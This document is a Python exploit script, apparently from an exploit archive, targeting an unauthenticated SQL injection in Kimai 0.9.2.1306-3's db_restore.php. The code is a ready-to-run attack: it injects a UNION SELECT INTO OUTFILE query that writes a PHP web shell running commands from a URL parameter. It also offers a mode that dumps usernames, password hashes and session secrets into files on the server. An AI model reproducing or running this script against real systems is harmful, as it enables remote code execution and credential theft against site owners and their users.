/exploits/php/webapps/25606.py

# Exploit Title: Kimai 0.9.2.1306-3 SQLi

# Date: 05/20/2013

# Exploit Author: drone (@dronesec)

# Vendor Homepage: http://www.kimai.org/

# Software Link: https://downloads.sourceforge.net/project/kimai/0.9.x/kimai.0.9.2.1306-3.zip 

# Version: 0.9.2.1306-3

# Fixed in: source repositories (https://github.com/kimai/kimai)

# Tested on: Windows XP SP3, Ubuntu 12.04 (apparmor disabled)



"""

    This doesn't even require authentication to the

    web app, as the file is accessible to any user.



    Modify paths accordingly if running against Windows



    @dronesec

"""

from argparse import ArgumentParser

import string

import random

import urllib2

import sys

import re



def webshell(options, id):

    """ dat webshell

    """

    shell = ''.join(random.choice(string.ascii_lowercase+string.digits) for x in range(5))

    sqli = ('http://{0}/kimai/db_restore.php?dates%5B%5D={1}_kimai_var%20UNION'

    '%20SELECT%20\'<?php%20system($_GET["rr"]);?>\'%20FROM%20kimai_usr'

    '%20INTO%20OUTFILE%20\'{2}/{3}.php\';--%20&submit=recover')



    urllib2.urlopen(sqli.format(options.ip, id, options.path, shell))

    print '[!] Shell dropped.  Go hit http://%s/kimai/%s.php?rr=ls'%(options.ip, shell)



def fetch_id(options):

    id = None

    try:

        page = urllib2.urlopen('http://%s/kimai/db_restore.php'%options.ip).read()

        id = re.findall('name="dates\[\]" value=\"(.*?)\">', page)[0]

    except: pass

    return id



def run(options):

    # poll URL for valid backup id

    id = None

    while id is None:

        id = fetch_id(options)

        if id is None:

            print '[-] No backups found, creating one...'

            urllib2.urlopen('http://%s/kimai/db_restore.php?submit=create+backup'%options.ip)



    print '[!] Using backup id', id



    if options.shell:

        return webshell(options, id)



    print '[!] Running queries...'



    # execute sqli

    sqli = ('http://{0}/kimai/db_restore.php?dates%5B%5D={1}_kimai_var%20UNION'

    '%20SELECT%20{3}%20FROM%20kimai_usr%20INTO%20OUTFILE%20\'{2}/{3}\';--%20&submit=recover')



    urllib2.urlopen(sqli.format(options.ip, id, options.path, 'usr_name'))



    # execute sqli; hashes

    urllib2.urlopen(sqli.format(options.ip, id, options.path, 'pw'))



    # get sessions

    urllib2.urlopen(sqli.format(options.ip, id, options.path, 'secure'))



    print '[!] Go grab your files:\n\t{0}/usr_names\n\t{0}/pw\n\t{0}/secure'\

                    .format(options.path)



def parse():

    parser = ArgumentParser()

    parser.add_argument('-i', help='server address', action='store', dest='ip')

    parser.add_argument('-p', help='path to dump files (otherwise guesses /var/www/kimai)',

                        action='store',default='/var/www/kimai', dest='path')

    parser.add_argument('-w', help='web shell', action='store_true', dest='shell')



    options = parser.parse_args()



    if not options.ip:

        parser.print_help()

        sys.exit(1)



    options.path = options.path if options.path[-1] != '/' else options.path[:-1]

    return options



if __name__ == "__main__":

    run(parse())